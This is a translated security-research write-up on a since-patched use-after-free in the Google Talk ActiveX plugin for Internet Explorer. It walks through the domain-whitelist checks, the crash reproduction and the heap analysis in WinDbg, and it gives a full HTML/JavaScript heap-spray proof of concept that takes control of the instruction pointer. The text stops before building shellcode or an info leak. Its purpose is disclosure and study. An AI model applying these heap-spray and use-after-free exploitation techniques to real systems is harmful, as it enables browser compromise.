译者:xd0ol1 (知道创宇404安全实验室)
原文链接:http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html
作者打算按ROP+shellcode的套路来实现漏洞的利用,但目前只完成了堆喷布局,代码执行部分还未完成,分析过程值得我们借鉴学习。另外,翻译不对的地方还望多多指正。
在15年的时候,我发现Google Hangouts用到的“Google Talk ActiveX Plugin”中存在一个UAF(use-after-free)的漏洞。由于此ActiveX控件是站点锁定的,也就意味着它只能被白名单中的Google域名所调用,因此要成功利用攻击者还需要找到其中某个域名的XSS漏洞。该bug已经报告给了Google,在那之后就被修复了。
我们在IE上安装Google Hangouts时,系统会安装“Google Talk ActiveX Plugin”这个控件,它能被浏览器调用并且导出了下述5个方法:
dispinterface GTalkPluginInterface { properties: methods: [id(0x60020000)] void send([in] BSTR str); [id(0x60020001), propput] void onmessage([in] VARIANT* rhs); [id(0x60020002), propget] BSTR version(); [id(0x60020003), propget] BSTR wsconnectinfo(); [id(0x60020004)] void wsconnectfailed([in] int port); };
由分析可知该控件并没有通过实现IObjectSafetySiteLock接口来将其锁定到特定域名。
C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593} SiteList: Utility to dump domain list from a site-locked ActiveX control. [1ff8] No bp log location saved, using default. [000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB [000:000] [1ff8] Computer model: Not available IObjectSafetySiteLock not implemented.
然而,测试表明该控件仅适用于特定的Google域名。既然它没有使用IObjectSafetySiteLock,我接着又检查其是否被注册成IE中的Browser Helper对象,这样可以获取navigation事件,通过逆向调试发现确是如此。因此,由导出的IObjectWithSite接口控件可创建与IE的连接,借此就能得到当前访问的URL信息了。
通过下述C++代码,我们创建该控件的一个实例,并在调用IObjectWithSite-> SetSite()前插入一个断点:
#include "stdafx.h" #include "windows.h" #include "OCIdl.h" int _tmain(int argc, _TCHAR* argv[]) { CoInitialize(NULL); IUnknown *punk; LPGUID pclsid; HRESULT hr = NULL; //{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93} static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } }; if (FAILED(hr)) printf("error"); hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER, IID_IUnknown, (void **)&punk); if (FAILED(hr)) printf("error"); // Ask the ActiveX object for the IDispatch interface. IObjectWithSite *pOSite; hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite); if (FAILED(hr)) printf("error"); __asm { int 3; } //pOSite->GetSite(CLSID_GTALK, NULL); pOSite->SetSite(NULL); return 0; }
这样我们就可以在调试器中定位到此函数的入口信息,然后在IE中的相同位置下断,并借助HTML代码来加载和调用该控件。
分析可知,控件通过对象传递来实现SetSite供IE调用,如下代码为其中的一部分实现,这里的URL信息由ECX寄存器传递:
0:007> u 5ca85c51 googletalkax+0x5c51: 5ca85c51 51 push ecx 5ca85c52 50 push eax 5ca85c53 e8d88f0000 call googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30) 5ca85c58 8bd8 mov ebx,eax 5ca85c5a 83c408 add esp,8 5ca85c5d 85db test ebx,ebx 5ca85c5f 7465 je googletalkax+0x5cc6 (5ca85cc6) 5ca85c61 8b4e40 mov ecx,dword ptr [esi+40h] 0:007> da poi(ecx) 1123efc0 "http://localhost:9000/testgoogle" 1123efe0 "talkactivexplugin.html"
通过对此函数的更进一步分析我们可以找到将当前域名和白名单中的域名进行比较的代码段:
.text:5CA8CA20 cmp [ebp+var_8], 10h .text:5CA8CA24 lea eax, [ebp+var_1C] ; holds the current domain name .text:5CA8CA27 push dword ptr [esi] ; holds whitelisted domain .text:5CA8CA29 cmovnb eax, [ebp+var_1C] .text:5CA8CA2D push eax .text:5CA8CA2E call sub_5CA957C0 .text:5CA8CA33 add esp, 8 .text:5CA8CA36 test al, al .text:5CA8CA38 jnz loc_5CA8CB37 .text:5CA8CA3E add esi, 4 .text:5CA8CA41 cmp esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com" .text:5CA8CA47 jl short loc_5CA8CA20
我们可以在调试器中下断来打印出所有的白名单域名:
0:005> bl 0 e 5ca8ca2e 0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g" 0:005> g 5cace2c4 "*hostedtalkgadget.google.com" 5cace2e4 "*mail.google.com" 5cace2f8 "*plus.google.com" 5cace30c "*plus.sandbox.google.com" 5cace328 "*talk.google.com" 5cace33c "*talkgadget.google.com"
此外,下述代码为该函数中的另一条执行路径,但其需要设置控件中的“plugin_enable_corp_host”标志才能被触发,这应该是Google内部使用的,对于其它域名还需要执行额外的检测操作。
.text:5CA8CA9F push offset a_corp_google_c ; "*.corp.google.com" .text:5CA8CAA4 cmovnb eax, [ebp+var_1C] .text:5CA8CAA8 push eax .text:5CA8CAA9 call sub_5CA957C0 .text:5CA8CAAE add esp, 8 .text:5CA8CAB1 test al, al .text:5CA8CAB3 jnz short loc_5CA8CB0C .text:5CA8CAB5 cmp [ebp+var_8], 10h .text:5CA8CAB9 lea eax, [ebp+var_1C] .text:5CA8CABC push offset a_prod_google_c ; "*.prod.google.com" .text:5CA8CAC1 cmovnb eax, [ebp+var_1C] .text:5CA8CAC5 push eax .text:5CA8CAC6 call sub_5CA957C0 .text:5CA8CACB add esp, 8 .text:5CA8CACE test al, al .text:5CA8CAD0 jnz short loc_5CA8CB0C .text:5CA8CAD2 cmp [ebp+var_8], 10h .text:5CA8CAD6 lea eax, [ebp+var_1C] .text:5CA8CAD9 push offset a_googlegoro_co ; "*.googlegoro.com" .text:5CA8CADE cmovnb eax, [ebp+var_1C] .text:5CA8CAE2 push eax .text:5CA8CAE3 call sub_5CA957C0 .text:5CA8CAE8 add esp, 8 .text:5CA8CAEB test al, al .text:5CA8CAED jnz short loc_5CA8CB0C .text:5CA8CAEF cmp [ebp+var_8], 10h .text:5CA8CAF3 lea eax, [ebp+var_1C] .text:5CA8CAF6 push offset a_googleplex_co ; "*.googleplex.com" .text:5CA8CAFB cmovnb eax, [ebp+var_1C] .text:5CA8CAFF push eax .text:5CA8CB00 call sub_5CA957C0
其中,corp.google.com和googleplex.com域名会返回登录提示,似乎仅供Google员工使用,而prod.google.com域名则无法访问,很可能只是内部使用的。
继续,我们知道赋值给“onmessage”导出方法的变量需为JavaScript回调函数,且它会立即被控件所调用,这可以通过下述代码进行验证:
<html> <object classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr > </object> <script> sdr.onmessage = sdrcallback; function sdrcallback(){ alert("callback function is called"); } </script> </html>
如果控件在调用回调函数前没有事先调用AddRef()函数,那么就可能出现use-after-free的情况,因为回调函数不会改变此控件在垃圾回收机制中的引用计数。
我们通过创建一个删除控件的回调函数来复现此漏洞场景:
<html> <div id="seandiv"> <object classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr > </object> </div> <script> sdr.onmessage = sdrcallback; function sdrcallback(){ alert("callback function is called"); //delete div this.document.getElementById("seandiv").innerHTML = ""; CollectGarbage(); CollectGarbage(); CollectGarbage(); } </script> <body> sdr </body> bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc" </html>
最终调试器会返回如下的崩溃信息:
(13b4.24a8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll - eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 googletalkax!DllUnregisterServer+0x6385: 13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
其中EDI寄存器指向的是一块无效的内存空间:
0:008> r eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 googletalkax!DllUnregisterServer+0x6385: 13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=???????? 0:008> dd edi 407a2fb0 ???????? ???????? ???????? ???????? 407a2fc0 ???????? ???????? ???????? ???????? 407a2fd0 ???????? ???????? ???????? ???????? 407a2fe0 ???????? ???????? ???????? ???????? 407a2ff0 ???????? ???????? ???????? ???????? 407a3000 ???????? ???????? ???????? ???????? 407a3010 ???????? ???????? ???????? ???????? 407a3020 ???????? ???????? ???????? ????????
进一步分析可知这是一块释放掉的内存:
0:008> !heap -p -a edi address 407a2fb0 found in _DPH_HEAP_ROOT @ 161000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 40751ccc: 407a2000 2000 51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77691564 ntdll!RtlDebugFreeHeap+0x0000002f 7764ac29 ntdll!RtlpFreeHeap+0x0000005d 775f34a2 ntdll!RtlFreeHeap+0x00000142 75f514ad kernel32!HeapFree+0x00000014 13e88310 googletalkax!DllUnregisterServer+0x0001d9f0 13e6e407 googletalkax!DllUnregisterServer+0x00003ae7 13e6218a googletalkax+0x0000218a 13e6572f googletalkax+0x0000572f 61d0fe01 +0x0000001d 61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc 61d0d8ee MSHTML!CTxtSite::Release+0x0000001a 61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f 5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023 5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134 5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0 5e659750 jscript9!Recycler::DisposeObjects+0x0000004a 5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a 5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087 5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026 5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b 5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad 5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079 5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b 5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940 5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
接着我们来测试此漏洞的可利用性,这里需要把上述释放掉的内存块替换成新分配的内存空间,然后查看程序的运行过程中能否导致可控的代码执行,主要借助的是.dvalloc命令。
通过查看下述代码,我们发现其中存在一条能导致代码执行的路径。首先,EDI+1Ch指向的内存值被存入到EAX寄存器,而后EAX指向的内存值又被赋值给了ESI寄存器,再往下程序会执行一些其它操作和函数调用并最终来到ESI+4指向的地址。
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] 13e70ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=???????? 13e70caa 8d850cffffff lea eax,[ebp-0F4h] 13e70cb0 50 push eax 13e70cb1 8d45e4 lea eax,[ebp-1Ch] 13e70cb4 50 push eax 13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30) 13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch] 13e70cbd 83c408 add esp,8 13e70cc0 50 push eax 13e70cc1 ff5604 call dword ptr [esi+4]
我们需要确保13e70cb5处的函数调用不会改变ESI寄存器的值,这样上面找到的执行路径才是可控的。下述的WinDbg调试过程给出了如何分配新的内存空间来替换释放掉的内存块,并通过单步跟踪来确认此路径能导致代码的执行。
(11cc.2728): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll - eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0 eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 googletalkax!DllUnregisterServer+0x6385: 59d80ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=???????? 0:008> .dvalloc 2000h Allocated 2000 bytes starting at 0c690000 0:008> r @edi = 0c690000 0:008> dd edi+1c 0c69001c 00000000 00000000 00000000 00000000 0c69002c 00000000 00000000 00000000 00000000 0c69003c 00000000 00000000 00000000 00000000 0c69004c 00000000 00000000 00000000 00000000 0c69005c 00000000 00000000 00000000 00000000 0c69006c 00000000 00000000 00000000 00000000 0c69007c 00000000 00000000 00000000 00000000 0c69008c 00000000 00000000 00000000 00000000 0:008> p eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x6388: 59d80ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=???????? 0:008> .dvalloc 200 Allocated 1000 bytes starting at 0cbd0000 0:008> r @eax = 0cbd0000 0:008> dd eax 0cbd0000 00000000 00000000 00000000 00000000 0cbd0010 00000000 00000000 00000000 00000000 0cbd0020 00000000 00000000 00000000 00000000 0cbd0030 00000000 00000000 00000000 00000000 0cbd0040 00000000 00000000 00000000 00000000 0cbd0050 00000000 00000000 00000000 00000000 0cbd0060 00000000 00000000 00000000 00000000 0cbd0070 00000000 00000000 00000000 00000000 0:008> p eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x638a: 59d80caa 8d850cffffff lea eax,[ebp-0F4h] 0:008> p eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x6390: 59d80cb0 50 push eax 0:008> p eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x6391: 59d80cb1 8d45e4 lea eax,[ebp-1Ch] 0:008> p eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x6394: 59d80cb4 50 push eax 0:008> p eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x6395: 59d80cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (59d89b30) 0:008> p eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x639a: 59d80cba 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000 0:008> p eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 googletalkax!DllUnregisterServer+0x639d: 59d80cbd 83c408 add esp,8 0:008> p eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 googletalkax!DllUnregisterServer+0x63a0: 59d80cc0 50 push eax 0:008> p eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000 eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 googletalkax!DllUnregisterServer+0x63a1: 59d80cc1 ff5604 call dword ptr [esi+4] ds:002b:00000004=???????? 0:008> p (11cc.2728): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
这表明如果能在释放掉的内存块中写入我们精心构造的数据,那么就能将此漏洞转换成可利用的代码执行。
我们知道该释放掉的内存块是位于堆空间上的,接下去就来看下它的分配。先在Gflags的设置中勾选“Create User Mode Stack Trace Database”这一项,我们要能够在同一堆区上分配相同大小的内存空间,这样才能满足堆喷的利用条件,因此需要确定释放的内存是分配在哪块堆上的。
通过下述HTML代码我们可以将特定的数据分配到IE的默认堆上:
<html> <div id="seandiv"> <object classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr > </object> </div> <script> function sdrcallback(){ alert("callback function is called"); //delete div this.document.getElementById("seandiv").innerHTML = ""; CollectGarbage(); CollectGarbage(); CollectGarbage(); alert(sdr); } //javapscript heap spray to see if we are on same heap as activeX var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; //s -u 0x00000000 L?0xffffffff seansean7 sdr.onmessage = sdrcallback; </script> <body></html>
然后借助WinDbg来看下堆分配的情况:
(1348.18dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll - eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0 eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 googletalkax!DllUnregisterServer+0x6385: 14d10ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=???????? 0:007> !heap -p -a edi address 3dc19fb0 found in _DPH_HEAP_ROOT @ 461000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 3dbe1ac4: 3dc19000 2000 5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77691564 ntdll!RtlDebugFreeHeap+0x0000002f 7764ac29 ntdll!RtlpFreeHeap+0x0000005d 775f34a2 ntdll!RtlFreeHeap+0x00000142 75f514ad kernel32!HeapFree+0x00000014 14d28310 googletalkax!DllUnregisterServer+0x0001d9f0 14d0e407 googletalkax!DllUnregisterServer+0x00003ae7 14d0218a googletalkax+0x0000218a 14d0572f googletalkax+0x0000572f 61d0fe01 +0x0000001d 61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc 61d0d8ee MSHTML!CTxtSite::Release+0x0000001a 61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f 5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023 5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134 5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0 5e659750 jscript9!Recycler::DisposeObjects+0x0000004a 5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a 5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087 5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026 5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b 5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad 5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079 5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b 5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940 5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce 0:007> s -u 0x00000000 L?0xffffffff seansean7 0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n. 29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n. 4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n. 79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n. 0:007> !heap -p -a 0eebafa6 address 0eebafa6 found in _DPH_HEAP_ROOT @ 461000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) eec0208: eeba7f0 80c - eeba000 2000 5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77690d96 ntdll!RtlDebugAllocateHeap+0x00000030 7764af0d ntdll!RtlpAllocateHeap+0x000000c4 775f3cfe ntdll!RtlAllocateHeap+0x0000023a 61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba 61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119 61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017 61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7 61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035 620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d 61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026 61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5 61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067 61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf 61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c 61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131 61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af 61de7f32 MSHTML!CHtmPost::Exec+0x000001e4 620b9a78 MSHTML!CHtmPost::Run+0x0000003d 620b99de MSHTML!PostManExecute+0x00000061 620c1e04 MSHTML!PostManResume+0x0000007b 61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e 61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d 61d0db16 MSHTML!GlobalWndProc+0x000002e5 751262fa user32!InternalCallWinProc+0x00000023 75126d3a user32!UserCallWinProcCheckWow+0x00000109 751277c4 user32!DispatchMessageWorker+0x000003bc 7512788a user32!DispatchMessageW+0x0000000f 6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464 636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b 7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c 5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
可以看到ActiveX控件和JavaScript代码使用了相同的堆区,因此利用起来就方便多了。
接着我们还需要确定此释放对象的大小,这里要禁用掉除了“usermode stack dbs”外所有的Gflags设置,同时还要在崩溃处下个断点:
Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
70760ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07 0:005> !heap -p -a edi address 078f8a28 found in _HEAP @ 730000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 078f8a10 000d 0000 [00] 078f8a28 00050 - (busy) ? googletalkax!DllUnregisterServer+43db0
因此释放掉的对象大小为0x50字节。
然后,我们利用堆喷在释放内存上重新写入想要的数据,此步骤要在与释放对象交互前完成。不过在此之前我们需要先填充IE进程中的那些堆碎片,这个过程会分配大量相同大小的堆。
我们通过下述JS函数来实现堆喷。其中,赋值的0x50字节子字符串需要减去4字节的BSTR对象头部以及2字节的终止标识,又因为存储的是Unicode格式,所以还要除以2。最终,该字符串会正好占用0x50字节的内存空间。
var largechunk = unescape("sean3"); var spray = new Array(); function dospray() { while (largechunk.length < 0x10000) largechunk += largechunk; for (var i = 0; i < 0x200; i++) { spray[i] = largechunk.substring(0,(0x50-6)/2); } }
此后,我们还要用到DEPS喷射技术来完成一次精确布局,通过如下堆喷操作后内存0x20302228上会保存有我们的数据。
function corelan_deps_spray() { var div_container = document.getElementById("corelanspraydiv"); div_container.style.cssText = "display:none"; junk = unescape("%u615d%u6161"); while (junk.length < 0x80000) junk += junk; for (var i = 0; i < 0x500; i++) { var obj = document.createElement("button"); obj.title = junk; div_container.appendChild(obj); } }
借助所有的这些信息,我们给出如下的PoC代码,它能将程序的执行流引向我们所设定的地址:
<html> <div id="seandiv"> <object classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr > </object> </div> <div id="corelanspraydiv"></div> <script> var largechunk = unescape("%u2030%u2228"); var spray = new Array(); function dospray() { while (largechunk.length < 0x10000) largechunk += largechunk; for (var i = 0; i < 0x200; i++) { spray[i] = largechunk.substring(0,(0x50-6)/2); } } function corelan_deps_spray() { var div_container = document.getElementById("corelanspraydiv"); div_container.style.cssText = "display:none"; junk = unescape("%u615d%u6161"); while (junk.length < 0x80000) junk += junk; for (var i = 0; i < 0x500; i++) { var obj = document.createElement("button"); obj.title = junk; div_container.appendChild(obj); } } function sdrcallback(){ //alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385 this.document.getElementById("seandiv").innerHTML = ""; CollectGarbage(); CollectGarbage(); CollectGarbage(); //spray the heap with 0x50 size objects, this will overwrite the freed chunk dospray(); //interact with the object var ver = sdr.version; sdr.send("sean"); } //prime the lfh heap dospray(); //spray reliable so location at 0x20302228 holds our data corelan_deps_spray(); //invoke callback function sdr.onmessage = sdrcallback; </script> <body> </body> </html>
代码通过DEPS堆喷能确保将内存0x20302228处的对应值置为0x6161615d。
之后,“onmessage”方法的回调函数中会进行对象的释放操作,并通过堆喷分配大量相同大小(0x50字节)的字符串对象来重写此释放内存。这时该释放指针指向的内容就变成了新分配的字符串对象,其中包含了指向0x20302228的指针。当访问此释放指针时,同样会执行下述的汇编代码:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] 13e70ca8 8b30 mov esi,dword ptr [eax] 13e70caa 8d850cffffff lea eax,[ebp-0F4h] 13e70cb0 50 push eax 13e70cb1 8d45e4 lea eax,[ebp-1Ch] 13e70cb4 50 push eax 13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30) 13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch] 13e70cbd 83c408 add esp,8 13e70cc0 50 push eax 13e70cc1 ff5604 call dword ptr [esi+4]
不同的是之前释放指针指向的EDI+1Ch中的无效内容现在被替换成了0x20302228,这个值会被保存到EAX寄存器中,而后0x20302228内存处的值又被赋值给了ESI寄存器,即通过DEPS堆喷设置的0x6161615d。最后程序会调用ESI+4指向的地址,也就是我们可控的0x61616161地址处的值,从而证明了代码的执行。
后续的工作就是要把此漏洞转换成真正可利用的exploit,不过由于程序存在DEP和ASLR保护,我们还需要借此实现相关的infoleak,我之前花了些时间试图借助https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf 中的内容来寻找灵感,但最终还是没能再继续下去。你要是有什么idea欢迎联系我一起讨论,如果能找到将这个bug转换成infoleak的方法,那么我会非常感兴趣的。